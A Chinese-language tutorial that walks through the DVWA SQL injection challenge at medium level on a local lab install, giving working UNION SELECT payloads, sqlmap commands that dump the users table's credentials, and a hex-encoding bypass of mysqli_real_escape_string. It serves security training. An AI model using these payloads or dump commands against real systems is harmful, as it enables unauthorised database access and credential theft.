[网络安全]DVWA之SQL注入—medium level解题详析

本文涉及的产品
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
RDS Agent(兼容OpenClaw),2核4GB
简介: 提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。

提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。


判断漏洞类型

判断是否为数字型注入


使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:

image.png

再POST:id=1 and 1=2 &submit=submit 无任何回显

说明该漏洞类型为数字型注入漏洞


使用BurpSuite进行POST

先抓ID=1的数据包

image.png

在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:

image.png

再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显

说明该漏洞类型为数字型注入漏洞


判断注入点个数

提交参数id=1 and order by 4

image.png

说明注入点少于4个

不断尝试后得知注入点为2个


BurpSuite+sqlmap数字型注入

具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap

将拦截包另存为1.txt,放在sqlmap目录下

注意:在sqlmap中不需要考虑注入点的个数


爆数据库名

输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs

回显如下:

image.png

image.png

爆dvwa库的表名

输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables

回显如下:

image.png

image.png

爆users表的列名

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columnsimage.png

回显如下:

image.png


爆列中的字段

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dumpimage.png

回显如下:

image.png


基于POST请求的sqlmap数字型注入

查看是否存在注入点

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"

回显如下:image.png

故注入点存在


查询数据库名

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs

回显如下:

image.png


查询dvwa库的表名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tablesimage.png

回显如下:


image.png

查询users表的列名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columnsimage.png

回显如下:

image.png


查询列中的字段

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dumpimage.png

回显如下:

image.png


基于POST请求的BrupSuite数字型注入

注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数


查询数据库名

输入1 union select database()#

回显如下:image.png

可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败

输入1 union select 1,database()#

回显如下:

image.png


查询dvwa库的表名

输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显如下:

image.png


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘dvwa’#’ at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“‘dvwa’#'附近使用的正确语法

查看源代码:

image.png

这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。

例如,如果 $id 变量包含如下字符串:

O'qiushuo

则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:

O\'qiushuo

这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。


针对特殊字符转义的编码绕过

在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。

攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。


十六进制编码

dvwa经十六进制编码后变为64767761

修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

注意:要在64767761加上0x声明它为十六进制

image.png

得到两个表名,guestbook和users


Unicode编码

dvwa的Unicode编码为\u0064\u0076\u0077\u0061

由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效


URL编码

网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。

image.png

由于字符串’dvwa’中所有的字符均不需要编码,所以URL编码绕过失效。


查询users表的列名

users的十六进制为7573657273

输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#

回显如下:

image.png


查询列中的字段

输入id=1 union select user,password from users#

注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。

回显如下:

image.png


回显技巧

注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。

image.png

image.png

3. group_concat函数


group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。

举例如下:

输入id=1 union select 1,group_concat(user,password)from users#

回显:

image.png

该图比上图更为简洁明了


总结

以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。

后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。

我是秋说,我们下次见。


相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
SQL 安全 网络安全
DVWA SQL Injection (Blind) 通关解析
DVWA SQL Injection (Blind) 通关解析
|
SQL Oracle 关系型数据库
SQL查询结果导出方法详析及实践指南
导出SQL查询结果是数据库管理中的一个重要环节。不同的数据库系统提供了各自的工具和方法来完成这项任务。选择合适的方法取决于具体的应用场景、数据规模和个人偏好。无论是在命令行中使用简单的SQL语句,还是通过GUI工具或编程语言实现自动化脚本,都有助于提高工作效率,简化数据管理流程。
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
1485 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
1094 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
SQL 安全 数据库
[dvwa] sql injection
[dvwa] sql injection
|
SQL 安全 数据库
[dvwa] sql injection(Blind)
[dvwa] sql injection(Blind)
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
707 0
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
4551 0
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
3098 0
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
864 0